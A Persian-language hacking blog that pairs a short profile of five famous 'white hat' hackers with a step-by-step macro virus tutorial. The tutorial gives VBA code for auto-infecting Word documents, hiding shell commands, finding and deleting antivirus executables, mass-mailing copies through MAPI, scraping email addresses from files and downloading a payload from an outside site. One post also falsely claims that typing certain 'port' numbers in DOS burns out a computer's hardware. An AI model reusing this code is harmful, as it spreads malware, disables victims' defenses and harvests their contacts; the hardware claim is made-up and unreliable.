exploit

هیچ وقت برای تازه شدن دیر نیست!

exploit

هیچ وقت برای تازه شدن دیر نیست!

۵ هکر کلاه سفید برتر جهان

به هکرهایی که از مهارتهای رخنه گری خود در جهت مثبت استفاده میکنند ، هکرهای کلاه سفید گفته میشود. این هکرها که اغلب هکرهای اخلاقی نیز خوانده میشوند از طریق شرکتها برای بررسی بی عیبی و درستی سیستمها استخدام میشوند. سایر هکرهای کلاه سفید بدون اجازه شرکت با منحرف کردن قوانین، نه شکستن آنها وارد عمل میشوند و این پیشروی درونی نتایج و ویژگیهای جالبی را نیز در پی داشته است. در این مقاله به بررسی و انتخاب 5 نفر از بهترین هکرهای غیر خرابکار و ابتکارات و تکنولوژیهایی که ایجاد کرده اند . پرداخته شده است. 


 

1. استفان وزنیاک Steve Wozniakاین شخص با نام مستعار ووز Woz اغلب "استیو دیگر اپل" (other Steve of Apple) نیز گفته میشود. وزنیاک و استیو جابز Steve Jobs شرکت کامپیوتری اپل را با شراکت هم تاسیس کردند. ووز رخنه گری خود را با ساخت جعبه های آبی شروع کرد. دستگاههایی که از مکانیسم های راه گزینی تلفن می گذرند و به کاربران امکان تلفن از راه دور طولانی مدت مجانی را میدهند. ووز و جابز این جعبه های آبی را به همکلاسیهایشان در کالج فروختند و حتی یکی از آنها وانمود کرد که هنری کیسینگر ( سیاست مدار آمریکایی ) است.
ووزنیاک را از کالج اخراج کردند و او کامپیوتری اختراع کرد که او را در همه جا مشهور کرد. جابز قصد داشت کامپیوتر را به عنوان یک مدار کامپیوتری کاملا همگذاری شده بفروشد. این ایده به بار نشست و در تعمیرگاه جابز توسعه یافت. ووزنیاک و جابز 100 دستگاه اپل اول را هر کدام به قیمت 66666 دلار به یک فروشنده محلی فروختند.
جدیدا ووز به خاطر احساسات بشر دوستانه خود وقتش را فقط به اپل اختصاص نمیدهد. ووزنیاک مشاور مدرسه لوی گیتس را به عهده گرفته است تا به دانش آموزان و معلمان در تدریس و اهدا تجهیزات مدرن تکنولوژی یاری رساند.
 

2. تیم برنرز – لی Tim Berners-Leeاختراع وب جهانی را به برنرز لی نسبت میدهند. برنرز لی مفتخر به دریافت چندین تقدیر نامه از جمله جایره تکنولوژی هزاره شده است.
برنرزلی اولین بار در حالی که در دانشگاه آکسفورد تحصیل میکرد به خاطر هک کردن کدهای دسترسی به همراه دوستش دستگیر شد. سپس او را از استفاده کامپیوترهای دانشگاه تحریم کردند.
او فهمید که hypertext یا فوق متن ( شکلی از ارائه اطلاعات است که کاربر میتواند عناوین مرتبط را بدون در نظر گرفتن ترتیب آنها مرور نماید ) میتواند به اینترنت بپیوندد. برنرز لی تعریف میکند که چطور او آنها را با هم جمع کرد : " من فقط مجبور بودم که ایده hypertext را بگیرم و آن را به ایده های پروتکل انتقال اطلاعات در اینترنت ( TCP ) و خدمات اینترنتی ترجمه نام سایتها به آدرسهای عددی ( DNS ) ربط بدهم و نتیجه ! وب جهانی . "
بعد از اینکه او وب جهانی را ایجاد کرد برنرز لی کنسرسیوم جهانی را در موسسه تکنولوژی ماساچوست تاسیس کرد. کنسرسیوم جهانی وب ( W3C ) خودش را با عنوان یک کنسرسیوم بین المللی که در آنجا سازمانهای عضو، یک کادر تمام وقت و عموم مردم با هم برای توسعه استانداردهای وب کار می کنند، توصیف میکند. ایده وب جهانی برنرز لی ، همچنین استانداردهایی از W3C به طور مجانی بدون هیچ امتیاز یا حق الختراع توزیع می شوند.

 

3. لینوس توروالدز Linus Torvaldsتوروالدز توانست لینوکس ، سیستم عامل کاملا مشهور بر پایه یونیکس را به وجود آورد. او خودش را " یک مهندس " میخواند و بیان کرده است که آرزوها و اهداف او بسیار ساده هستند " من فقط میخواهم از ساختن بهترین سیستم عاملی که میتوانم ، لذت ببرم. "
شروع توروالدز با کامپیوترهای دارای Commodore VIC-20 ، کامپیوتر خانگی 8 بیتی بود . او سپس تا یک Sinclair QL پیش رفت. ویکیپدیا چنین گزارش میدهد که او Sinclair و مخصوصا سیستم عامل آن را به طور گسترده ای اصلاح کرد. " بویژه هکهای توروالدز شامل یک همگذار و یک ویرایشگر متن ... همچنین چند بازی بود. "
توروالدز لینوکس کرنل را در سال 1991 با الهام گرفتن از سیستم عامل مینیکس تولید کرد. او با یک سویچ زن کار در همگذاری اینتل 80386 و یک درایو نهایی شروع کرد. بعد از آن او یک فراخوانی را برای دیگران منتشر کرد تا در کدی که آنها ارائه کرده بودند، مشارکت و همکاری کنند. بطور متداول فقط حدود 2 درصد لینوکس کرنل فعلی توسط خود توروالدز نوشته شده است . موفقیت این فراخوان عمومی برای اهدا کد به لینوکس به عنوان یکی از برجسته ترین نمونه های نرم افزار آزاد و اپن سورس منتشر شده است.
اکنون توروالدز به عنوان سردسته لینوکس فعالیت کرده و کدهایی را که برنامه نویسان داوطلب به کرنل اهدا میکنند را هماهنگ کرده و تعدیل میکند. به افتخار او یک شهاب آسمانی به نام او نامگذاری شده و او دکتراهای افتخاری را از دانشگاه های استکهلم و هلسینکی دریافت کرده است. همچنین از او به طور برجسته های در " 60 سال عمر قهرمانان " مجله تایم نام برده اند.

 

4. ریچارد استالمن Richard Stallmanاستالمن شهرت خود را از پروژه GNU که برای توسعه یک سیستم عامل مجانی تاسیس کرد، بدست آورد. به این خاطر همه او را پدر نرم افزارهای آزاد می شناسند. زندگی جدی او اثبات میکند که نرم افزارهای غیر آزاد کاربران را جدا و درمانده میکنند اشتراک آنها ممنوع بوده و نمیتوان آنها را تغییر داد. یک سیستم عامل مجانی برای مردم ضروری است تا بتوانند از کامپیوترها با آزادی کامل استفاده کنند.
وی رخنه گری یا هک خود را با موسسه تکنولوژی ماساچوست شروع کرد. او در سمت یک کارمند هکر روی پروژه ایماکس و پروژه های دیگر کار میکرد. او مخالف دسترسی کامپیوتری محدود در آزمایشگاه بود. وقتی یک سیستم پسورد روی یک کامپیوتر نصب کردند استالمن آن را شکسته و از کار انداخت و با تغییر رمزهای ورود هر چه رشته بودند پنبه کرد. سپس به کاربران پیامهایی فرستاد و آنها را حذف سیستم مطلع کرد.
نهضت استالمن برای نرم افزار مجانی با یک چاپگر شروع شد. در آزمایشگاه موسسه تکنولوژی ماساچوست او و دیگر هکرها اجازه داشتند تا کد روی چاپگرها را تغییر دهند تا اینکه آنها پیامهای هشدار مفیدی را فرستادند. در هر حال یک چاپگر جدید وارد میدان شد – چاپگری که آنها اجازه تغییر آن را نداشتند. آن را دورتر از آزمایشگاه قرار داده بودند و فقدان این هشدارها سبب ناراحتی و دردسر میشد. در این نقطه بود که نیاز اخلاقی برای لزوم وجود نرم افزارهای مجانی او را متقاعد کرده بود.
با الهام از این مطلب او شروع به کار روی GNU کرد. استالمن مقاله ای با عنوان GNU نوشت که در آن او تصمیم گرفت روی یک سیستم عامل کار کند چون به نظر او " نرم افزار ضروری برای استفاده از یک کامپیوتر " پایه و اساس یک کامپیوتر است. در این موفقیت ورژن GNU یا لینوکس این سیستم عامل از لینوکس کرنل استفاده می کرد که توسط توروالدز پایه گذاری شده بود. GNU تحت " قانون کپی رایت " توزیع میشود روشی که از قانون کپی رایت استفاده میکند تا به کاربران اجازه استفاده ، تغییر ، کپی کردن و توزیع یک نرم افزار را بدهد.
زندگی استالمن به تفکر و سیر کردن پیرامون ترقی و ترویج نرم افزارهای آزاد ادامه می یابد. او علیه جنبشهایی مانند مدیریت حقوق دیجیتال ( یا به قول او مدیریت محدودیتهای دیجیتال ) از طریق سازمانهایی مانند موسسه نرم افزارهای آزاد و اتحادیه برنامه نویسی آزاد فعالیت می کند. او تقدیرنامه های فراوانی از قبیل جایز ها، عضویتها و چهار دکترای افتخاری را به خاطر کارش دریافت کرده است.

 

5. سوتومو شیمومورا Tsutomu Shimomuraشیمومورا شهرت را از راه بدشانسی به دست آورد: او توسط کوین میتنیک Kevin Mitnick هک شده بود. پیرو این حمله شخصی ، او این را بهانه ای قرار داد تا به اف بی آی در گرفتن او کمک کند.
کار شیمومورا برای گرفتن او ستودنی بود اما کار او خالی از افکار شیطانی نبود. یک نویسنده به نام بروس استرلینگ Bruce Sterling بیاد می آورد که : او موبایل شرکت تلفن و تلگراف آمریکا را جدا میکند آن را از بسته بندی بیرون می آورد و با یک انگشت آن را هک میکند و در حالیکه یک نماینده اف بی آی کنار شانه او ایستاده و به او گوش میدهد شروع به نظارت بر تماسهای تلفنی میکند که از Capitol Hill بالا و پاین میروند.
شیمومورا میتنیک را از هک درآورد تا او را تحقیر کند. کمی بعد از اینکه او درباره این ورود سرزده و بی اجازه فهمید تیمی را دور هم جمع کرد و به کار گرفت تا میتنیک را پیدا کنند.
با استفاده از موبایل میتنیک آنها او را در نزدیکی فرودگاه بین المللی Raleigh-Durham ردیابی کردند. مقاله " کارشناسان کامپیوتر اف بی آی در گرفتن یک تروریست کامپیوتری کمک میکنند " تعریف میکند که چطور شیمومورا محل میتنیک را دقیقا پیدا کرد. او با کمک یک کارشناس فنی شرکت تلفن " از یک مسیر فرکانس سلولی استفاده کرد تا آنتنی را پیدا کند که به یک لپ تاپ وصل شده بود تا حلقه جستجوی خود را به یک مجموعه آپارتمانی تنگ تر کند. کمی بعد از آن میتنیک دستگیر شد.
پیرو این تعقیب و پیگردی شیمومورا کتابی در مورد این رویداد با همکاری یک روزنامه نگار به نام جان مارکوف نوشت John Markoff که بعدها فیلم آن ساخته شد.

کارآفرینی

داش حامد این دوتا رو هر چه زودتر بگیر . 

 

کارآفرینی1 

کارآفرینی2

ماکرو ویروس2

در این بخش در مورد دستور ها و یکی از روش های چهار گانه مخفی سازی صحبت میکنیم.
طریقه کد نویسی:
در بخش زیر دستورات لازمه را برای شما بیان میکنم:
Document_Open() دستور آلوده ساختن document در هنگام باز شدن می باشد.
Document_New() دستور آلوده ساختن هر پرونده جدید می باشد.
Document_Close() دستور آلوده ساختن هر پرونده در زمانی که آن بسته میشود.
FileSaveAs() دستور آلوده ساختن پرونده در هنگامSaveAs میباشد.
FileSave() دستور الوده سازی پرونده در هنگام Save میباشد.
ToolsSpelling() دستور الوده سازی به هنگام چک کردن spell میباشد.
ToolsGrammar() دستور آلوده ساختن در هنگام چک کردن گرامر می باشد.
AutoExec() دستور الوده ساختن هنگامی که پرونده باز است (مخصوصا برای template )
AutoExit دستور آلوده ساختن هنگامی که پرونده بسته میباشد (مخصوصا برای template)
ViewVBCode() این دستور و دو دستور زیر هر سه در جهت پنهان سازی به کار میروند.
ToolsMacro()
FileTemplates().
Shell "command.com /whatever you want", vbHide این دستور در داس اجرا و دستور vbHide پنجره داس را پنهان نموده و قربانی از اتفاق افتاده اطلاعی نمییابد.
به طور مثال در Shell "command.com /c ftp.exe", vbHide اف تی پی برای پنهان کردن عملیات مورد استفاده قرار گرافته است.

در بخش بالا یک سری از دستورات مورد استفاده در ماکرو ویروس نویسی را مشاهده کردید فقط توجه کنید که در آغاز باید از sub استفاده کنید و در انتها هم از End Sub استفاده کنید.
به مثال زیر توجه نمایید:
Sub Document_New()
msgbox "x11011110x"
End Sub
آنرا در VBA خود قرار دهید ماکرو را اجرا کنید سپس یک document ایجاد نمایید و مشاهده می کنید که یک پنجره جدید پدیدار میشود.
ضمنا میتوانید از دستور On Error Resume Next نیز استفاده کنید تا در هنگام ایجاد خطا به کار خود ادامه دهد.
یک فایل را باز نموده و برای تمربن بیشتر مثال زیر را می نویسیم
Sub Document_Open()
On Error Resume Next همیشه در ابتدای ساب این مورد را استفاده کنید.
Open "C:\xde.txt" For Output As #1 این دستور یم فایلی به نام xde.txt را در داریو سی ایجاد یا باز می نماید.
Print #1, "x11011110x" این دستور x11011110x را در فایل xde.txt قرار میدهد.
Close #1 این دستور فایل های بازشده قبلی را برای شما میبندد.
Msgbox "File Written to" این پیام را برای شما به نمایش میگذارد.

تکنیک های پنهان سازی:
برای این کار روش های متفاوتی وجود دارد که من 4 روش را برای شما توضیح میدهم:

1. پاک کردن آنتی ویروس
همه ی ما با آنها آ شنا هستیم در این بخش هدف ما یافتن راهی برای از کار انداختن آنتی ویروس ها است. برای این کار باید فایل .exe مربوط به آنتی ویروس را بیابیم و آنرا پاک کنیم و بعد از آن محیط کار ما مساعد میشود. اما مشکلی اساسی را در پیش روی خود داریم در اکثر موارد تنظیمات را به شکلی تنظیم میکنیم که اگر آنتی ویروس در مسیر پیش فرض نصب شده باشد در آن صورت آن را از کار می اندازد و اگر در مسیر دیگر باشد کاری انجام نمیدهد پس باید یک موتور جستجو گر را در ویروس تعبیه کنیم که فایل مربوطه را یافته و نابود سازد.

Sub Mainz()
Set Fs = Application.FileSearch این دستور Fs یه عنوان فیل جستجو گر Application قرار میدهد.
es$ = "xdez.txt" این دستور es$ را برای xdez.txt تعریف می نماید.
.LookIn = "C:\" این دستور فایل یا درایو را معین می سازد.
.SearchSubFolders = True این دستور میگوید که کل فایل یا درایو را جستجو نماید.
.FileName = es$ این دستور فایل نیم دنبا ل es$ میگرد.
If .Execute > 0 Then اگر پیدا گشت دستورات زیر را اجرا کن.
MsgBox "File Found" این دستور در پیامی پیدا شده فایل را اطلاع میدهد.
Set ds = CreateObject("Scripting.FileSystemObject") این دستور شی FSO را ایجاد می نماید.
Set fy = ds.GetFile(es$) این دستور اجازه میدهد که مسیر فایل را به دست آوریم
h = (fy.Path) این دستور به مسیر فایل یک متغیر را نسبت میدهد.
SetAttr h, vbNormal ویژگی فایل را به شکل نرمال قرار میدهد.
Kill (h) این دستور فایل را پاک می کند.
MsgBox "File Illimenated" این دستور شما را از پاک شدن آگاه می سازد.
Else
MsgBox "File was not found." این دستور میگوید که فایل پیدا نشد
End If
End With
End Sub

شاید در بخش بالا یک سری مطالب برای شما گیج کننده باشد که سعی میکنم یک سری از مطالب گیج کننده را برای شما باز کنم.
شاید در نگاه اول مثلا سوال کنید که برای متغیر نام Fy را در نظر گرفتم علت این برای مشکل نمودن تشخصی توسط انتی ویروس می باشد.
Set ds = CreateObject("Scripting. ")
این خط اجازه پیدا نمودن مسیر فایل و ایجاد یک FileSystemObject را برای استفاده در ماکرو به شما می دهد.
Set fy = ds.GetFile(es$)
این خط دستور را مشاهده میکنید که در واقع همانند File Operator.GetFile(filespec) کار میکند که در این مورد File Operator تعریف شده در ds و داریم ds.GetFile(filespec) since و file spec تعریف گشته در es$ و درشکل کلی به
Set fy = ds.GetFile(es$) می رسیم.
خط بعدی دستور h = (fy.Path) میباشد . این دستور h را در مسیر فایل ما قرار میدهد (مثلا . C:\My Documents\xdez.txt)
SetAttr h, vbNormal این دستور یک ویژگی را به فایل میدهد و آن هم اینست که آن را به صفت نرمال را نسبت می دهد و آن را قابل پاک نمودن میکند.
Kill (h) که به زبان دیگر به شکل Kill ("C:\My Documents\xdez.txt") و تمام چیز هایی را که در مسیر بیابد پاک مینماید.

در بخش زیر دستورات را بدون توضیحات مربوط به دیباگ مشا هده میکنید.
Sub Mainz()
On Error Resume Next
Set Fs = Application.FileSearch
es$ = "xdez.txt"
With Fs
.LookIn = "C:\"
.SearchSubFolders = True
.FileName = es$
If .Execute > 0 Then
Set ds = CreateObject("Scripting.FileSystemObject")
Set fy = ds.GetFile(es$)
h = (fy.Path)
SetAttr h, vbNormal
Kill (h)
Else
End If
End With
End Sub

خوب اگر حواس شما جمع باشد باید متوجه یک تغییر باشید و آن هم On Error Resume Next است که باید همیشه در نوشتن ماکرو ویروس ها از آن استفاده کنید این دستور به راحتی تمام Error ها را توجه نکرده و به خط بعد دستوری رفته و به کار خود ادمه میدهد.
در این بخش تنها یک نکته باقی ماند و آن هم پاک کردن آنتی ویروس از طریق دستور برای امتحان آنتی ویروس نصب کنید و به جای es$ در es$ ="xdez.txt" باید به طور مثال Norton.exe که به شکل زیر میرسیم:
es$ = "Norton.exe"

یک مساله دیگر اینکه شما با ساختن یک اسکریپت می توانید autoexec.bat را باز کنید و چک کنید.bat تا متوجه گردید آیا پس از پاک شدن اولیه دوباره آنتی ویروس نصب شده است و در صورت نصب دوباره آن را پاک کنید.

از بین بردن کامپیوتر در چند ثانیه

این پرت ها رو اگه تو داس بنویسید و بعدش اینتر بزنید اون وقته که می تونید با کامپیوتر خداحافظی کنید

1838    1503

1850    1500

1848    1499

1839    1543

پرت اول  : مادربورد قربانی رو میسوزونه

پرت دوم  : کارت گرافیک قربانی رو پر می کنه

پرت سوم : شیشه مانیتور قربانی رو میسوزونه

پرت چهارم : دستگاه رو داغون می کنه

ماکرو ویروس1

استفاده از MAPI برای فرستادن میل:
در قسمت آخر آموزش شما با چگونگی انتشار ماکر ویروس خود آشنا میشوید.
از MAPI win32 api برای یافتن آدرس های ایمیل و ارسال نسخه های از خود استفاده میکند. ما ار تابع های MAPILogOn, MAPISendMail, MAPILogoff برای بر طرف کردن کار های خود استفاده میکنیم. این کد ها در پروسیژر در راستای ارسال میل ها با متن مورد نظر عمل میکنند.
Public Const MAPI_AB_NOMODIFY = &H400
Public Const MAPI_BCC = 3
Public Const MAPI_BODY_AS_FILE = &H200
Public Const MAPI_CC = 2
Public Const MAPI_DIALOG = &H8
Public Const MAPI_E_AMBIGUOUS_RECIPIENT = 21
Public Const MAPI_E_AMBIG_RECIP = MAPI_E_AMBIGUOUS_RECIPIENT
Public Const MAPI_E_ATTACHMENT_NOT_FOUND = 11
Public Const MAPI_E_ATTACHMENT_OPEN_FAILURE = 12
Public Const MAPI_E_ATTACHMENT_WRITE_FAILURE = 13
Public Const MAPI_E_BAD_RECIPTYPE = 15
Public Const MAPI_E_BLK_TOO_SMALL = 6
Public Const MAPI_E_DISK_FULL = 4
Public Const MAPI_E_FAILURE = 2
Public Const MAPI_E_INSUFFICIENT_MEMORY = 5
Public Const MAPI_E_INVALID_EDITFIELDS = 24
Public Const MAPI_E_INVALID_MESSAGE = 17
Public Const MAPI_E_INVALID_RECIPS = 25
Public Const MAPI_E_INVALID_SESSION = 19
Public Const MAPI_E_LOGIN_FAILURE = 3
Public Const MAPI_E_LOGON_FAILURE = MAPI_E_LOGIN_FAILURE
Public Const MAPI_E_MESSAGE_IN_USE = 22
Public Const MAPI_E_NETWORK_FAILURE = 23
Public Const MAPI_E_NO_MESSAGES = 16
Public Const MAPI_E_NOT_SUPPORTED = 26
Public Const MAPI_E_TEXT_TOO_LARGE = 18
Public Const MAPI_E_TOO_MANY_FILES = 9
Public Const MAPI_E_TOO_MANY_RECIPIENTS = 10
Public Const MAPI_E_TOO_MANY_SESSIONS = 8
Public Const MAPI_E_TYPE_NOT_SUPPORTED = 20
Public Const MAPI_E_UNKNOWN_RECIPIENT = 14
Public Const MAPI_ENVELOPE_ONLY = &H40
Public Const MAPI_FORCE_DOWNLOAD = &H1000
Public Const MAPI_GUARANTEE_FIFO = &H100
Public Const MAPI_LOGOFF_SHARED = &H1
Public Const MAPI_LOGOFF_UI = &H2
Public Const MAPI_LOGON_UI = &H1
Public Const MAPI_NEW_SESSION = &H2
Public Const MAPI_OLE = &H1
Public Const MAPI_OLE_STATIC = &H2
Public Const MAPI_ORIG = 0
Public Const MAPI_PEEK = &H80
Public Const MAPI_RECEIPT_REQUESTED = &H2
Public Const MAPI_SENT = &H4
Public Const MAPI_SUPPRESS_ATTACH = &H800
Public Const MAPI_TO = 1
Public Const MAPI_UNREAD = &H1
Public Const MAPI_UNREAD_ONLY = &H20
Public Const MAPI_USER_ABORT = 1
Public Const MAPI_E_USER_ABORT = MAPI_USER_ABORT
Public Const SUCCESS_SUCCESS = 0
'-- mapi message recipient object type
Public Type MapiRecip
Reserved As Long
RecipClass As Long
Name As String
Address As String
EIDSize As Long
EntryID As String
End Type
'-- mapi message file object type
Public Type MapiFile
Reserved As Long
Flags As Long
Position As Long
PathName As String
FileName As String
FileType As String
End Type
'-- mapi message object type
Public Type MAPIMessage
Reserved As Long
Subject As String
NoteText As String
MessageType As String
DateReceived As String
ConversationID As String
Flags As Long
RecipCount As Long
FileCount As Long
End Type
Public Declare Function MAPILogoff Lib "MAPI32.DLL" (ByVal Session&, _
ByVal UIParam&, ByVal Flags&, _
ByVal Reserved&) As Long
Public Declare Function MAPILogon Lib "MAPI32.DLL" (ByVal UIParam&,_
ByVal User$, ByVal Password$, _
ByVal Flags&, ByVal Reserved&,_
Session&) As Long
Public Declare Function MAPISendMail Lib "MAPI32.DLL" Alias _
"BMAPISendMail" (ByVal Session&,
ByVal _
UIParam&, Message As MAPIMessage, _
Recipient() As MapiRecip, File() As
MapiFile, _
ByVal Flags&, ByVal Reserved&) As
Long

' Mailsending procedure
' sTo - target adress (where the email should ne delivered)
' sSubject - email subject
' sMessage - message body text
Public Function api_SendMail(sTo As String, sSubject As String, sMessage As
String)
' * use api functions to send mail
'
On Error Goto suxx
Dim Rtn As Long '-- return value For api calls
Dim objMsg As MAPIMessage''-- message object
Dim objRec() As MapiRecip''-- recipient object array
Dim objFile() As MapiFile''-- file object array
Dim hMAPI As Long'-- session handle
ReDim objRec(1)
ReDim objFile(1)
'
'-=-=-=-=-=-
'file object
'-=-=-=-=-=-
'
' * default - not expecting to send a file
'
objFile.Reserved = 0
'
' * values not used
'
'objFile.Flags
'objFile.Position = -1
'objFile.PathName = "c:\mtx4ever.exe"
'objFile.FileName = 0
'objFile.FileType = 0
'
'-=-=-=-=-=-=-=-=
'recipient object
'-=-=-=-=-=-=-=-=
'
objRec(0).Reserved = 0
objRec(0).RecipClass = 1
objRec(0).Name = sTo
'
' * values not used for recipient
'
'objRec.Address
'objRec.EIDSize
'objRec.EntryID
'
'-=-=-=-=-=-=-=
'message object
'-=-=-=-=-=-=-=
'
objMsg.Reserved = 0
objMsg.Subject = sSubject ' mail subject
objMsg.RecipCount = 1
objMsg.FileCount = 0 ' how many files are in message
objMsg.NoteText = sMessage ' mail message
'
' * values not used for message
'
'objMsg.MessageType
'objMsg.DateReceived
'objMsg.ConversationID
'objMsg.Flags
' We will create a session for e-mail sending
' using standart windows password for sending emails.
' it's possible not to use MS Exchange Settings, and simply put 0 to that
option
Rtn = MAPILogon(0, "MS Exchange Settings", "", MAPI_LOGON_UI, 0, hMAPI)
' * send mail message through MAPI
Rtn = MAPISendMail(hMAPI, 0, objMsg, objRec, objFile, 0, MAPI_DIALOG)
' * logoff MAPI application
Rtn = MAPILogoff(hMAPI, 0, 0, 0)
' * close this function
Exit Function
suxx:
Msgbox "MOD_MAIL.api_SendMail()"
End Function

یک موتور جستجو را بو سیله ی تابع های ای پی آی ایجاد نموده و آن آدرس ها را یافته و آنها را ذخیره می نماید . البته می توان آدرس هایی زیادی را در مسیر زیر یافت:
C:\windows\Temporary Internet Files

مدل باس
Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" _
(ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" _
Alias "FindNextFileA" _
(ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" _
(ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, _
InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Function FindFilesAPI(path As String, _
SearchStr As String, _
FileCount As Integer, _
DirCount As Integer)
Dim FileName As String ' variable holding filename
Dim DirName As String ' variable holding subdir name
Dim dirNames() As String ' filenames buffer
Dim nDir As Integer ' number of directories in this path
Dim i As Integer ' cycle counter
Dim hSearch As Long ' search descriptor
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) <> "\" Then path = path & "\"
' subdirectories search
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName <> ".") And (DirName <> "..") Then
' checking directory
If GetFileAttributes(path & DirName) And _
FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD)
Loop
Cont = FindClose(hSearch)
End If
hSearch = FindFirstFile(path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName <> ".") And (FileName <> "..") Then
FindFilesAPI = FindFilesAPI + _
(WFD.nFileSizeHigh * MAXDWORD) + _
WFD.nFileSizeLow
FileCount = FileCount + 1
'List1.AddItem path & FileName
ggg = path & FileName
MsgBox ggg
Call try(ggg)
End If
Cont = FindNextFile(hSearch, WFD) ' Get next file
Wend
Cont = FindClose(hSearch)
End If
' if there are subdirectories
If nDir > 0 Then
' perform recursive search
For i = 0 To nDir - 1
FindFilesAPI = FindFilesAPI + _
FindFilesAPI(path & dirNames(i) _
& "\", SearchStr, FileCount, DirCount)
Next i
End If
End Function
Private Sub Search()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Screen.MousePointer = vbHourglass
'SearchPath = directory name
SearchPath = "C:\My Documents"
' FindStr = filename we are searching for
FindStr = "*.*htm"
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Screen.MousePointer = vbDefault
End
End Sub
Private Sub try(fName)
On Error Resume Next
WindowSize = 5000
seekPoint = 1
Open fName For Binary As 1
Do While seekPoint < LOF(1)
VarString$ = String$(WindowSize, " ")
Get #1, seekPoint, VarString$
seekPoint = seekPoint + WindowSize - 50
AsIs = search_(VarString$)
Loop
Close #1
End Sub
Function mid_(a$, i, j1)
On Error Resume Next
s = 0
If i > 0 And (i + j1 - 1) <= Len(a$) Then
b$ = Mid$(a$, i, j1)
If b$ >= "a" And b$ <= "z" Then s = 1
If b$ >= "A" And b$ <= "Z" Then s = 1
If b$ >= "0" And b$ <= "9" Then s = 1
If b$ = "-" Or b$ = "_" Or b$ = "+" Or b$ = "." Or b$ = "@" Then s = 1
End If
mid_ = s
End Function
Function search_(a$)
On Error Resume Next
s$ = ""
For i = 1 To Len(a$)
If Mid$(a$, i, 1) = "@" Then
name_ = "": j = i
Do
j = j - 1
s = mid_(a$, j, 1)
Loop While s = 1
Do
j = j + 1
s = mid_(a$, j, 1)
If s = 1 Then name_ = name_ + Mid$(a$, j, 1)
Loop While s = 1
s = 0: k = 0
For j2 = 1 To Len(name_)
If Mid$(name_, j2, 1) = "@" Then k = k + 1
If Mid$(name_, j2, 1) = "." Then s = 1
Next
If k = 1 And s = 1 And Len(name_) > 5 And Left$(name_, 1) <> "@" And
Right$(name_, 1) <> "@" Then MsgBox name_
'Then UserForm1.addr.AddItem Name_
End If
If Mid$(a$, i, 1) <> "@" Then s$ = s$ + Mid$(a$, i, 1) Else s$ = s$ + " "
Next
search_ = s$
End Function
در پروسیژر فوق یک فایل از یک URL دانلود میگردد.
این هم یک روش فشرده تر شده برای برای کسانی که از کد های زیاد متنفر هستند.
DownLoadPlugin "URL of the plugin", "name of the plugin"
Code & Exemple:
Private Sub Download()
DownLoadPlugin "http://matrixvx.org", "plugin.plg"
End Sub

Public Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As
String) As Long
Public Sub DownLoadPlugin(urlz As String, plugin As String)
Dim DL As Long
On Error GoTo errorz
If urlz$ = "" Then urlz$ = strUrl$
If strUrl$ = "" Then strUrl$ = urlz$
If Left(strUrl$, 4) <> "http" Then strUrl$ = "http://" & strUrl$
If Right$(strUrl$, 1) <> "/" Then strUrl$ = strUrl$ & "/"
If Left$(plugin$, 1) = "/" Then plugin = Mid$(plugin$, 2)
DL& = DownLoadPlugin(StrConv(strUrl$ & plugin$, vbUnicode))
Exit Sub
errorz:
MsgBox "Can't download the fucking file" & urlz & plugin$ & ".",
vbCritical,
"Oshibka - ERROR !!!!"
End Sub